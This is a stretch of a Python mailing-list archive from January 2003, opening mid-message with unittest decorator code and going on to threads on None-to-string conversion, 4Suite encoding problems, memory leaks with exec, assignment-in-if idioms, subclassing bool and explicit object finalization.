    def tearDown(self):
        print "tearing"

class TestDecorator(unittest.TestSuite):
    def __init__(self,aSuite):
        unittest.TestSuite.__init__(self,tests=aSuite._tests)
        self._suite=aSuite
        self._tests=self._suite._tests
    def __repr__(self):
        return "<%s tests=%s>" % (self.__class__, self._suite._tests)
    def shortDescription(self):
        doc = self.__doc__
        return doc and string.strip(string.split(doc, "\n")[0]) or None
    def setUp(self):
        pass
    def tearDown(self):
        pass
    def __call__(self,result):
        try:
            self.setUp()
        except:
            result.addError(self, self.__exc_info())
            return
        self._suite.run(result)
        try:
            self.tearDown()
        except:
            result.addError(self, self.__exc_info())
            return
    def __exc_info(self):
        exctype, excvalue, tb = sys.exc_info()
        if sys.platform[:4] == 'java': ## tracebacks look different in
Jython
            return (exctype, excvalue, tb)
        newtb = tb.tb_next
        if newtb is None:
            return (exctype, excvalue, tb)
        return (exctype, excvalue, newtb)

class DBTest(TestDecorator):
    def setUp(self):
        print "connecting to the db..."
    def tearDown(self):
        print "disconnecting from the db..."

def suite():
    suite = unittest.defaultTestLoader.loadTestsFromName('__main__')
    #or test1=unittest.defaultTestLoader.loadTestsFromTestCase(TestOne)
    return DBTest(suite)

if __name__=='__main__':
    unittest.main(defaultTest="suite")
    runner = unittest.TextTestRunner()
    runner.run(suite())

----
running this code outputs:

connecting to the db...
setUp...
tearing
.setUp...
tearing
.disconnecting from the db...

----------------------------------------------------------------------
Ran 2 tests in 0.016s

OK





From sschwarzer at sschwarzer.net  Sat Jan 25 17:50:45 2003
From: sschwarzer at sschwarzer.net (Stefan Schwarzer)
Date: Sat, 25 Jan 2003 23:50:45 +0100
Subject: SQL null conversion
References: <mailman.1043252682.479.python-list@python.org>
Message-ID: <b0v4c5$896$1@news.online.de>

Hello Jeff

Jeff Sacksteder wrote:
> I am moving/converting data from a production system to a data warehouse
> using python for the data transformation. I iterate through the result list
> building sql strings to do the inserts that then get sent to the destination
> connection. Occasionally I hit a row where a feild is null, returning
> 'None'. When I try to build a string containing 'None' I get an exception.
> What would be the best way to convert that to an empty string in the general
> case?

If I'm sure that the initial value is None or an empty string, I use
value or '' :

 >>> None or ''
''
 >>> '' or ''
''
 >>> 'Test' or ''
'Test'

However, you might have to deal with unicode strings, so something like
value or u''  may or may not be necessary.

Stefan




From vanevery at 3DProgrammer.com  Thu Jan 30 16:22:25 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 21:22:25 GMT
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org>
Message-ID: <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net>

Dave Brueck wrote:
> On Thu, 30 Jan 2003, Mark Charsley wrote:
>
>> I'm used to the compiler/linker giving me a lot of reassurance that
>> my code works.
>
> That's common, but in many cases it's a _false_ sense of reassurance.

It kills many problems before they arise.

> Even in C++ I end up checking all uses of a refactored function
> despite what the compiler says because it can catch only the simplest
> of problems.

Sounds like your functions must do an awful lot if they need so much
checking.  Maybe your functions should be smaller, more incremental, easier
to verify?

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From jacob at cd.chalmers.se  Mon Jan 20 09:18:57 2003
From: jacob at cd.chalmers.se (Jacob Hallen)
Date: 20 Jan 2003 14:18:57 GMT
Subject: Laura's List - was Re: new years resolutions
References: <20030106212551.A19866@bob.sesgroup.com.au> <3E1A43FA.ED37F9F7@engcorp.com> <200301070838.h078csjL000548@ratthing-b246.strakt.com> <mailman.1042844935.14730.python-list@python.org>
Message-ID: <b0h0gh$fgj$1@nyheter.chalmers.se>

In article <mailman.1042844935.14730.python-list at python.org>,
Cliff Wells  <LogiplexSoftware at earthlink.net> wrote:
>On Tue, 2003-01-07 at 00:38, Laura Creighton wrote:
>> > > Hee hee.  You need a CAPS system.  see www.strakt.com ...
>> > 
>> > CAPS?  Please expand...
>> > 
>> Er, thats the acronym for what we build around here.  You aren't going
>> to find out about it anywhere but www.strakt.com ...
>
>The web is too hard... I'd rather just guess: I'm *sure* the C stands
>for "cat", but I'm at a loss as to the other letters... does the P stand
>for "propulsion"?  I hope so, 'cause I like both cats and propulsion.

Like the guy who came to a variety theatre with his show:

Guy: I have a cat that can fly right across the stage.

Manager: All by itself?

Guy: No, I fling her!

-- 



From Mongryong at sympatico.ca  Mon Jan 20 23:52:10 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 20 Jan 2003 23:52:10 -0500
Subject: [4suite] 4Suite Reliance on ENVIRONMENT & global variables
In-Reply-To: <1043119705.28350.4291.camel@localhost.localdomain>
References: <1043099520.1419.205.camel@refugeeMedia> 
	<1043119705.28350.4291.camel@localhost.localdomain>
Message-ID: <1043124731.1373.244.camel@refugeeMedia>

Well, the new changes form the 4Suite CVS did not help.

Right now, I'm testing mod_python against a modified version of your "I
don't like spam" tutorial example.  It's attached with this email.  You
may try it out at http://rezquest.cjb.net/bin/main .  The correct result
should say "I hate spam" in an XML-aware browser (Mozilla1.0.1).

The strange thing is that if I directly output the XML source without
doing any XSLT processing, the XML source appears correctly.  Somewhere
along the line where the strings are being passed from the python
libraries to the 4Suite libraries (by Py_ParseArgs..???), the strings
are being 'miscommunicated'.  

Now, it might be a Python2.2.2 issue since libxml2/libxslt from the
gnome project are having similar problems as well.  

In 4Suite, do the apps embedd the python interpretor or do the apps
start purely from a python environment? 

It might be good to check to see whether this problem still occurs other
'python embedded' application (ie. uses Py_NewInterpretor from C). I
forget, does the command-line version of python dynamically link to the
python libraries?  If so, I wonder if the command-line version of python
is doing anything special or different when it links up and initializes
the python libraries.

I'm reposting this message on to the Python mailing list to see if
anybody there can help give us a clue.

P.S Has there been any changes in Python2.2.3+ that might possibly fix
this problem?

On Mon, 2003-01-20 at 22:28, Uche Ogbuji wrote:
> On Mon, 2003-01-20 at 14:52, Mongryong wrote:
> > Hi,
> > 
> > I'm having trouble getting the latest 4Suite XML/XSLT tools to work the
> > way I want in mod_python and I know I'm not the first one to experience
> > "out-of-the-box" success.  
> > 
> > I've determined that it's an encoding issue.   Now, with a stand-alone
> > script or CGI script under Apache, 4XSLT works fine.  But under
> > mod_python (which doesn't have access to ENVIRONMENT variables), 4XSLT
> > library decodes the XML source file in a total different encoding.  XSL
> > templates (ie. <xsl:template name="blah">) are never executed because
> > the XML tag is never recognized by the XSL processor.  Hence, you get an
> > empty output.
> > 
> > I've check the default system encoding codec and it returns 'ascii' (ie.
> > sys.getdefaultencoding).  Now, it could be that the python library
> > relies on some ENVIRONMENT variable for its configuration.
> > 
> > Anybody have any ideas what 'parameters' might not be initialized
> > properly under a non-CGI or non-shell environment such as mod_python? 
> > Or, is there a parameter that one can set to change the XML input
> > decoding?  
> 
> I don't think there is any environment variable that could affect this.
> 
> However, there have been a lot of fixes recently, including to some
> endianness bugs.  Do you mind trying again with latest 4Suite CVS and
> telling us if it helps?  Either wait till tomorrow's snapshot, or check
> out current CVS HEAD directly
> 
> http://4suite.org/docs/4SuiteCVS.xml
> 
> If it doesn't help, I hope you'll be able to help us work with you to
> find a solution for mod_python users.
> 
> -- 
> Uche Ogbuji                                    Fourthought, Inc.
> http://uche.ogbuji.net    http://4Suite.org    http://fourthought.com
> Python Generators + DOM - http://www.xml.com/pub/a/2003/01/08/py-xml.html
> 4Suite Repository Features - https://www6.software.ibm.com/reg/devworks/dw-x4suite5-i/
> XML class warfare - http://www.adtmag.com/article.asp?id=6965
> MusicBrainz  metadata - http://www-106.ibm.com/developerworks/xml/library/x-think14.html
> 

-------------- next part --------------
A non-text attachment was scrubbed...
Name: main.py
Type: text/x-python
Size: 1284 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030120/5ed172d3/attachment.py>

From jimmy at retzlaff.com  Wed Jan 29 17:39:31 2003
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Wed, 29 Jan 2003 14:39:31 -0800
Subject: Using C++ classes in python
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C92@MAYOR.retzlaff.com>

Michael Andersson [mailto:a98mican at ida.his.se] wrote:
>Hi!
>Is it possible to create a class in C++ that can be instansiated in a
>python script?
>...

Take a look Boost.Python at http://www.boost.org/libs/python/doc/. It
allows such instantiation and much more.

Jimmy




From rudy.schockaert at pandora.be  Wed Jan 15 14:06:39 2003
From: rudy.schockaert at pandora.be (Rudy Schockaert)
Date: Wed, 15 Jan 2003 19:06:39 GMT
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <m3vg0qefdo.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3jiV9.13471$ym5.2011@afrodite.telenet-ops.be>

Thanks Martin,

I didn't realize that string functions can also be used on pure binary data.
By the way, the files I want to scan are limited to 1 meg, so I don't see a
problem in putting the file entirely in memory.

Thanks again,

Rudy


schreef in bericht news:m3vg0qefdo.fsf at mira.informatik.hu-berlin.de...
> "Rudy Schockaert" <rudy.schockaert at pandora.be> writes:
>
> > I'm looking for a function that allows me to do a binary search in a
file.
> > By binary search I mean searching for a sequence of bytes
>
> If you can accommodate to put the entire file into memory, I recommend
> the lines
>
> data = open("filename","rb").read()
> position = data.find(binary_substring)
>
> Here, binary_substring is the string object that you search for.
>
> If you cannot read the entire file into memory, I recommend to read
> sized chunks (of atleast twice the substring size). I'm not aware of a
> cookbook-style implementation of such a search algorithm, so when you
> are done, please submit it to the cookbook. Make sure you properly
> deal with the case where the substring crosses a block boundary.
>
> HTH,
> Martin
>





From hancock at anansispaceworks.com  Wed Jan  8 07:09:03 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 08 Jan 2003 12:09:03 GMT
Subject: When do you need path config files (.pth)?
Message-ID: <zxUS9.20256$134.2151035@newsread1.prod.itd.earthlink.net>

A user of Python Universe Builder complained that the package installation 
doesn't create a path configuration file (pub.pth), and that this kept him 
from importing the package.

However, I don't have this file, and it imports just fine:

>>>import pub

Why might that be?

He's using Python 2.2.2 and I'm using 2.2.1 and we're both using Linux.

It's not so much that I object to making any changes, just that I don't 
understand why it should work on one system and not on the other.  I figure 
there must be something else missing, or perhaps environment settings.

Thanks,
Terry


-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From Padraig at Linux.ie  Thu Jan 23 12:17:36 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Thu, 23 Jan 2003 17:17:36 +0000
Subject: Python use growing or shrinking
In-Reply-To: <3E301F4A.3060803@nipltd.com>
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com> <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net> <3E301F4A.3060803@nipltd.com>
Message-ID: <3E3023B0.7060000@Linux.ie>

Chris Keyes wrote:
> IBM will never use Python for everything...

Why do you say this?

P?draig.




From deadair at swirvemail.com  Mon Jan  6 18:37:03 2003
From: deadair at swirvemail.com (deadair88)
Date: 6 Jan 2003 15:37:03 -0800
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com> <0sah1vs5mtl0tmnveqev1dklq8ppt2rmev@4ax.com> <3E196960.9A4@zeusedit.com> <9d791d77.0301060719.57b8bc0c@posting.google.com> <avc8g8$eqv$1@ins22.netins.net>
Message-ID: <fda1f7e0.0301061537.2bbe0e6a@posting.google.com>

Mike Dean <klaatu at evertek.net> wrote in message news:<avc8g8$eqv$1 at ins22.netins.net>...

Crimson <http://www.crimsoneditor.com/>
    Multi-lingual editor, almost any syntax type u can think of.



From judoscript at hotmail.com  Wed Jan  8 00:13:42 2003
From: judoscript at hotmail.com (James Huang)
Date: 7 Jan 2003 21:13:42 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com>
Message-ID: <52719db8.0301072113.3c143cfe@posting.google.com>

> LOL!!!
> 
> I actually succumbed to the
> language-promo-as-novel-thoughts-subterfuge and I had a skim through
> judoscript's whitepaper... thinking all the time 'but did you
> completely forget about jython?!' Then I read this little gem of
> informative logic:
> 
> [quotation omitted]
> 
> and that really was the end of my brief interlude with judoscript. 
> 
> Sandy

So you went to the whitepaper, searched on "jython" in the browser and
finished your research (actually, search)? Doing a language is a huge
undertaking; it would indeed be ludicrous to start one without looking
around first.

I like this community better than the language itself; it is loyal,
active, dedicated, diligent, ... I posted that message in hope of
exchanging some decent ideas. I am glad I did.

Anyway, to answer your concerns over Jython, first of all, assume you
accept that JudoScript is as capable as Jython to script Java. The
following examples demonstrate some of the differences:

-------------------------------------
thread mythrd param1, param2
{
  println 'parameters are: ', param1, ' ', param2;
  println 'Done.';
}
start thread mythrd(1, 'xyz');
-------------------------------------
copy '*.java, *.jj' in '~/src/' except '*Test*, *test*'
     recursive
     into '~/archive/src_' @ date().fmtDate('yyyy-MM-dd') @ '.jar';
-------------------------------------
do 'http://www.yahoo.com' as sgml
{
<a>:   println $_.href;
<img>: println $_.src;
}
-------------------------------------
do 'book.xml' as xml
{
<book>:  println 'Book: ', $_.title;
</book>: println '===============';
}
-------------------------------------
preparedExecuteQury qry:
   select name, email from emp where id=?;
with @1 = '00123';
while qry.next() {
  . 'Name:  ', qry.name; // '.' is synonymous to 'println'
  . 'EMail: ', qry[2];
}
-------------------------------------
exec 'java test.ToLower | java test.Echo'
input {
  . <pipe> 'You should see this message in lower case, not UPPER
CASE!';
  . <pipe> 'Cheers!';
}
-------------------------------------
frame = javanew javax.swing.JFrame("Simplest GUI");
frame.setVisible(true);

guiEvents {
  <frame : Window : windowClosing> :  exit(0);
}
-------------------------------------


These were all in its initial release. It is the vision of these (and
more) plus Java scripting that convinced that this language is worth
doing.

This does not necessarily mean the demise of any other languages. The
way I view it is that, Jython is peace-of-mind for Python programmers
who may want an easy bridge to cross the river to the Java land (if
not already there). This bridge works both ways, so you can come back
to Python land anytime.

Python land has wheat, Java land has rice; both are rich in
carbohydrate. In addition, Java land also grows beans. What do you
want to ship across that bridge? If you one day decide to reside
permanently in Java land, why don't you drive a Cadillac but instead a
Lexus? In any case, JudoScript is a hovercraft.

Cheers,
-James



From bub at joos.us  Thu Jan 16 13:58:29 2003
From: bub at joos.us (Bubba)
Date: Thu, 16 Jan 2003 18:58:29 GMT
Subject: String Problem, What is it I don't understand?
Message-ID: <300e2v422gc01dsc8pn66jvi7cpooqkpek@4ax.com>

I would expect to get the month day and year from the following, but
day and year are null

xxx = "01/17/03"
month = xxx[0:2]
print "month=",month
day = xxx[3:2]
print "day=",day
year = xxx[6:2]
print "year=",year

Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on
win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help
>>> 
month= 01
day= 
year=



From BPettersen at NAREX.com  Fri Jan 24 17:09:51 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Fri, 24 Jan 2003 15:09:51 -0700
Subject: More usenet usage statistics, by programming language
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE1EA@admin56.narex.com>

> From: Aaron K. Johnson [mailto:akjmicro at yahoo.com] 
> 
> In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
> > 
> > I don't understand. Number of unique posters in the last 
> > 200 posts to a newsgroup I understand,
> > and 647 to the (one) Python newsgroup I understand, but I don't
> > understand how you get
> > 647 different posters out of the last 200 posts.
> > 
> > Oh, and Clipper is an old data base language, somewhere in the dbase
> > family.
> 
> oops, sorry....I meant 2000!

Which begs the question...: How does Java get 3715 posters in 2000
messages?

lies-damned-lies-and-statistics'ly y'rs
-- bjorn




From randall_young at hotmail.com  Sat Jan 18 17:55:47 2003
From: randall_young at hotmail.com (Randy Young)
Date: 18 Jan 2003 14:55:47 -0800
Subject: Searching for solution: Severe memory leak, HELP!
References: <8338c7cc.0301180618.5c67da85@posting.google.com> <RGeW9.5340$bs2.4910@news2.central.cox.net>
Message-ID: <8338c7cc.0301181455.5ffb5e@posting.google.com>

"Steve Holden" <sholden at holdenweb.com> wrote in message news:<RGeW9.5340$bs2.4910 at news2.central.cox.net>...
> "Randy Young" <randall_young at hotmail.com> wrote in message
> news:8338c7cc.0301180618.5c67da85 at posting.google.com...
> > Sirs,
> >
> > I have a very large Python application squarely in my lap, that's
> > leaking almost 20mb of main memory an hour!
> >
> > I spent most of last night looking through various postings, and not
> > surprisingly, I'm wondering if I have a "circular reference" at work.
> > Specifically, something happening with the heavy use of the "exec"
> > library call.
> >
> > Here's a code snippet, can anyone see anything grievously wrong? I
> > understand that we may need to look at WHAT is being "exec'd", but I
> > thought this might be a place to start...
> >
> >
> > ---- CODE BEGINS
> >
> >
> > #import the module, then execute the probe
> >   where = 'import'
> >   win32event.WaitForSingleObject(self.iSemaphore, win32event.INFINITE)
> >     try:
> >       exec ("import %s" % probeInfo['ImportName'])
> >     except Exception, e:
> >       ret = "Import error on " + str(probeInfo['ImportName']) + " " +
> > str(e)
> >       self.ExceptOut(e, 'Exception importing Probe ID ' +
> > str(probeInfo['ID']))
> >     win32event.ReleaseSemaphore(self.iSemaphore, 1)
> >
> >     if (ret == None):
> >       where = 'exec'
> >       try:
> > s = "ret = %s.%s (probeInfo)" % (probeInfo['ImportName'],
> > probeInfo['Invoke'])
> >         exec (s)
> >
> > # ... much more yada-yada ...
> >
> > ---- CODE ENDS
> >
> > As you can see there are "exec(s)" all over the place in the module,
> > one mistake would be magnified many times! I'm trying to understand if
> > I should be forcing a garbage collection or some other obvious thing?
> >
> > Thanks in advance for the consideration of a reply.
> >
> 
> Well, firstly it might be better to use
> 
>     __import__(...)
> 
> than
> 
>     exec "import ..."
> 
> Also note, by the way, that exec is a statement and not a function, so the
> parentheses are redundant.
> 
> What are you trying to import? It's conceivable that failed imports of a
> badly-constructed extension might leak memory. Also note that if you leave
> pointers to the stack frame lying about in "except" clauses that can cause
> leakage.
> 
> Just a few random thoughts.
> 
> regards

Sir,

As an early experiment I did test some modules that have C ext's by
writing a small driver program(s) in Python and calling them say
10,000 times. In fact the program(s) did not seem to lose a byte! So I
assumed the ext's were and are solid.

The whole purpose of the import and exec statement is to provide
dynamic extension of the core service at runtime.

Here for example is a simple ping probe... it's called by the
aforementioned module, the I suspect to be the culprit. That is when I
disbable running probes in the GUI, and therefore no probes run at
all, the leak stops.

---- CODE BEGINS

import win32api
import BaseClasses
import pingtr
import prperrors

def ping(probe):
  try:
    eStr = ''
    min = 0xFFFF
    max = 0
    failCount = 0
    successCount = 0
    alltime = 0
    avg = 0
		
    # extract parameters
     eStr = 'Ping probe error -- number of packets parameter missing'
     numberOfPackets = int(probe['params']['NumberOfPackets'])
     eStr = 'Ping probe error -- failed packet limit parameter
missing'
     failedPacketLimit = int(probe['params']['FailedPacketLimit'])
     eStr = 'Ping probe error -- failed timit limit parameter missing'
     failedTimeLimit = int(probe['params']['PingTimeout'])
     eStr = 'Ping probe error -- proximal address missing'
     address = probe['ProximalAddress']

		
     # okay, do the ping thing		
     print "PING " + address + ' n ' + str(numberOfPackets)

     for i in range(numberOfPackets):	
      # do a single ping packet at a time for finer grained control
      retList = pingtr.ping(address, 1, float(failedTimeLimit)/1000 )
	if(retList['success'] == 1):
	  if(int(retList['avg']) > failedTimeLimit):
	  eStr = "Ping timeout exceeded!"
	  print eStr
          return(prperrors.ERROR_TIMEOUT,eStr)
	if(min > int(retList['min'])):
	  min = int(retList['min'])
	if(max < int(retList['max'])):
	   max = int(retList['max'])
	alltime = alltime + int(retList['avg'])
	   successCount = successCount + 1
	     else:
	     failCount = failCount + 1
	     win32api.Sleep(500)
		
	if (successCount > 0):
	  avg = alltime / successCount
			
	if (min == 0xFFFF): 	# never got set
	  min = 0

        print "Ping results: max=" + str(max) + "ms min=" + str(min) +
"ms avg=" + str(avg) \
			  + "ms success=" + str(successCount) + " fail=" + str(failCount)
		
	probe['results']['AvgTransitTime']['Result'] = avg
	  if(failCount == 0):
	   probe['results']['PctPacketLoss']['Result'] = 0
	   else:
	probe['results']['PctPacketLoss']['Result'] =
int(float(failCount)/float(numberOfPackets) * 100)
			
	if (failCount == numberOfPackets):
          eStr = "Device or host appears to be down!"
	   print eStr
	   return (prperrors.ERROR_HOSTDOWN, eStr)
			
	if (failCount > failedPacketLimit):
	 eStr = 'Packet failure threshold exceeded: failed %d packets of %d'
% (failCount, numberOfPackets)
	 print eStr
	return (prperrors.ERROR_PACKET_LOSS,eStr)

	return None
	
	except Exception, e:
	 eStr = "Exception raised during ping probe! " + str(e)
	 print eStr
	 return (prperrors.ERROR_EXCEPTION,eStr)

---- CODE ENDS

This module is intended to be invoked on the fly, understand what it's
supposed to do, and return an appropriate result.

I'm a little confused by the reference to the "pointer to a stack
frame in/on a exception statment". I'm not used to thinking of Python
in a "pointer sense".

Probably just my inexperience, could you give an example? 

My next job on this will to run Rational's Purity on this and see what
it thinks.

 (Never did a greener Pythoneer, have a bigger program to fix :( .) 

Thanks again,

Regard,

Randy



From mtiller at ford.com  Mon Jan 27 09:28:09 2003
From: mtiller at ford.com (Michael Tiller)
Date: Mon, 27 Jan 2003 09:28:09 -0500
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net>
Message-ID: <b13flq$c725@eccws12.dearborn.ford.com>

"Carl Banks" <imbosol at vt.edu> wrote in message
news:p9EY9.499$qb1.122 at nwrddc01.gnilink.net...
> Michael Tiller wrote:
> > My thanks go out to those people who mentioned the "holder" idiom
(rather
> > than just throwing up their arms in ideological disgust at the idea of
> > somebody even suggesting such a construct)

> Honestly, what do you expect, considering your original post?  When
> you call the following code snippet "overly verbose":
>
>    match = re.match(...)
>    if match:
>        ...

What did I expect?  Was this code fragment and my contention that it was
verbose so inflamatory to the Python community?!?  What did I expect?  I
expected for people to do what some did which was to point out how this is
typically done in Python (e.g. the idiom in the cookbook).  I expected that
if people had a point to make about the functionality I needed being
dangerous that they would at least press for more details about what I was
doing so they could demonstrate how the code could be rewritten.  What I did
not expect was for people to jump all over me for daring to suggest that
such functionality would ever have corrupted the Python Way.  As someone who
is relatively new to Python, I expected some assistance.  I didn't realize
that such a suggestion counted as heresy in the Python community.

In any case, I'd like to point out that I said it "*seemed* unnecessarily
verbose".  The implication being that I thought that somebody more fluent in
Python might be able to point out a way of accomplishing this in one
statement (and somebody did).

> people are going to get ideological on you; rightly so.  You never
> said why you wanted the assignment expression, and it turns out your
> intended use was the only quasi-acceptable use for it.

So what you are saying is that even though I had a legitimate
(quasi-acceptable) use for the functionality, it was still OK for people to
start criticizing me for...asking the question?  I'm about ready to move
back to comp.lang.tcl if this is the way people treat new users of Python
around here.

> If you had said "Python is incomplete because you can't do this
> set-and-test idiom" instead of "Python is incomplete because it
> doesn't allow assignment inside if," you would have gotten less
> ideology.

What exactly are the quotes here?  You certainly are not quoting me.  I
never said what you are apparently attributing to me.  I mentioned something
that "seems a missing piece of functionality in Python".  I was no more
specific than that.

> > since the "holder" idiom was
> > exactly what I needed because it allows me to use if..elif..else without
the
> > easy to misunderstand syntax of C and C++.
>
> People often say Python is defective or incomplete for not allowing
> assignment inside if-conditions, because you can't do this silly
> idiom.  Yet it never seems to occur to anyone that there are other
> ways to accomplish this besides assignment-if.

God forbid that they actually ask like I did.  Sheesh!

> I'm happy the holder idiom works for you.  I prefer to do it this way,
> although I rarely do it:
>
>
>     for i in [1]:
>         m = re.match(...)
>         if m:
>             ...
>             break
>
>         m = re.match(...)
>         if m:
>             ...
>             break

I'm happy that works for you.  I'm curious if others in the Python community
find that an acceptable alternative?!?

> --
> CARL BANKS

--
Mike






From abelikov72 at hotmail.com  Thu Jan  9 07:54:24 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 12:54:24 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org>
Message-ID: <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com>

On Thu, 9 Jan 2003 22:29:33 +1100, Andrew Bennetts
<andrew-pythonlist at puzzling.org> wrote:

>On Thu, Jan 09, 2003 at 10:47:13AM +0000, Afanasiy wrote:
>> On Thu, 09 Jan 2003 03:25:41 -0700, some Dalke wrote:
>> 
>> >Afanasiy wrote:
>> >>>A few languages provide syntax sugar for dealing with
>> >>>this by allowing you to localize the class scope.
>> >>>
>> >>>Does Python? eg. `with self do:`
>> >
>> >> So the answer is a definitive no? I want to do things as I have them,
>> >> I don't want to change my design just to be able to type 'self' less.
>> >
>> >It's a definite no.  From previous accounts, said sugar is hiding
>> >rat poison.  It's advantages are slight to its disadvantages.  Eg,
>> >for your case it would have hid a poor implementation rather than
>> >yield a better one.
>> 
>> You don't know what I am doing. My design is perfect.
>
>What is good design for one language isn't necessarily good design for
>another.  Python offers different features to, say, C++, and is best used in
>different ways.  I would recommend that you try to understand the pythonic
>world-view better, rather than insisting on imposing your preconceptions on
>us... my experience agrees with Andrew Dalke's; explicit self is much better
>than the alternatives.

If the "pythonic world-view" is that code which would look better with
implicit self is "poor implementation", then no, I do not agree with it.

Please note I am not complaining out about the lack of this possibility.
I only have a problem with the condescending tones. I guess it's normal.



From vlindberg at verio.net  Tue Jan 28 13:45:19 2003
From: vlindberg at verio.net (VanL)
Date: Tue, 28 Jan 2003 18:45:19 GMT
Subject: Algorithm help
References: <mailman.1043716969.7028.python-list@python.org> <v3d0irc96950c4@corp.supernews.com>
Message-ID: <3E36CF84.7060809@verio.net>

Andrew Henshaw wrote:

> 
> If your coordinates can describe arbitrarily-angled line segments, then
> I would look at the Bresenham line algorithm.  Given your statement of the
> problem, however, I would suspect that your maze has only vertical and 
> horizontal walls.  In that case, I'd just check coordinate pairs and step
> through the axis that changes.



Thank you!  I didn't know about this algorithm but it was 
exactly what I needed.

VanL






From franks at mcs.anl.gov  Tue Jan 14 21:12:40 2003
From: franks at mcs.anl.gov (FrankS)
Date: 14 Jan 2003 18:12:40 -0800
Subject: Python23: cannot inherit from bool?
Message-ID: <bb3eec0f.0301141812.18e916bf@posting.google.com>

It seems that 2.3 doesn't allow you to inherit from bool:


Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> class C(bool): pass
...
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: type 'bool' is not an acceptable base type
>>>


Could someone explain the reason for this restriction?

Thanks, Frank.



From cben at techunix.technion.ac.il  Tue Jan  7 16:51:14 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Tue, 7 Jan 2003 23:51:14 +0200 (IST)
Subject: Python vs Java garbage collection?
In-Reply-To: <20030106213935.G17919@prim.han.de>
Message-ID: <Pine.GSO.4.44_heb2.09.0301072327570.16059-100000@techunix.technion.ac.il>

On 2003-01-06, holger krekel wrote:

> Beni Cherniavsky wrote:
> > On 2002-12-28, Stuart D. Gathman wrote:
> >
> > > 1) This feature should not reclaim memory, only call __del__().If
> > > references were still live, the effect would be the same as calling
> > > __del__() on a live object.
> > >
> > > 2) __del__() would get called again when memory is actually reclaimed.
> > > Therefore, your feature would be much safer if it called another special
> > > function - say close() or dispose() at the end of the block.
> > >
> > I think this is a technical question: is it possible in CPython and Jython
> > to mutate an existing object's class, to mark it as dead?If yes, then a
> > facility to explicitly force a __del__ if any (and fry the object so it
> > can't be used any more) would be a solution for writing portable code:
> >
> > x = acquire()
> > try:
> >   do_something(x)
> > finally:
> >   finalize(x)
>
> why is this better than the traditional e.g.
>
> lock.acquire()
> try:
>   do_critical_work()
> finally:
>   lock.release()
>
Err, emmm, aah, Good Question. :-)

More seriously, it allows one to always call the destructor __del__
without knowing in advance whether the user will be happy with relying on
automatic finalization or will destroy it excplicitly.  In particular,
suppose I write a module and it relies on __del__; now somebody wants to
use it in Jython and/or in some context I didn't envision that requires
explicit finalization at some predictable time.  Currently, he has no way
short of changin my module and redesigning the interface.  I don't think
there is currently a good way to "fry" an object before its time from pure
Python, so calling __del__ manually is problematic.

Also, since I never saw a resources that can be destroyed in more than one
way <wink>, it makes some sense to have a single name agreed name for it.
Sometimes, it could allow writing generic code that releases a resource
without knowing what it is exactly.  For example, in a related thread some
time ago I proposed that the for loop should finalize the iterator (with
finally-like guarantee.  In CPython, it already happens (__del__ is
called) and in Jython this would need to be coded.  It can't quite work
that way because people sometimes give pre-existing iterators to for,
expecting them to remain alive.  Still, it shows the idea: an API that
creates user objects without exposing it, has known lifetime for the
object but gives the user no way to finilize explicitly, so it makes very
much sense for the API to guarantee this finilization.  Currently you
cannot implement such a guarantee under Jython; with the added builtin,
you can.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>





From andy at eastonwest.co.uk  Thu Jan 16 18:10:59 2003
From: andy at eastonwest.co.uk (andy)
Date: Thu, 16 Jan 2003 23:10:59 +0000
Subject: DYNAMIC_EXECUTION_PROFILE/DXPAIRS server available
In-Reply-To: <15911.13963.737244.413486@montanaro.dyndns.org>
References: <15907.19728.347317.771246@montanaro.dyndns.org> <200301162222.11154.andy@eastonwest.co.uk> <15911.13963.737244.413486@montanaro.dyndns.org>
Message-ID: <200301162310.59136.andy@eastonwest.co.uk>

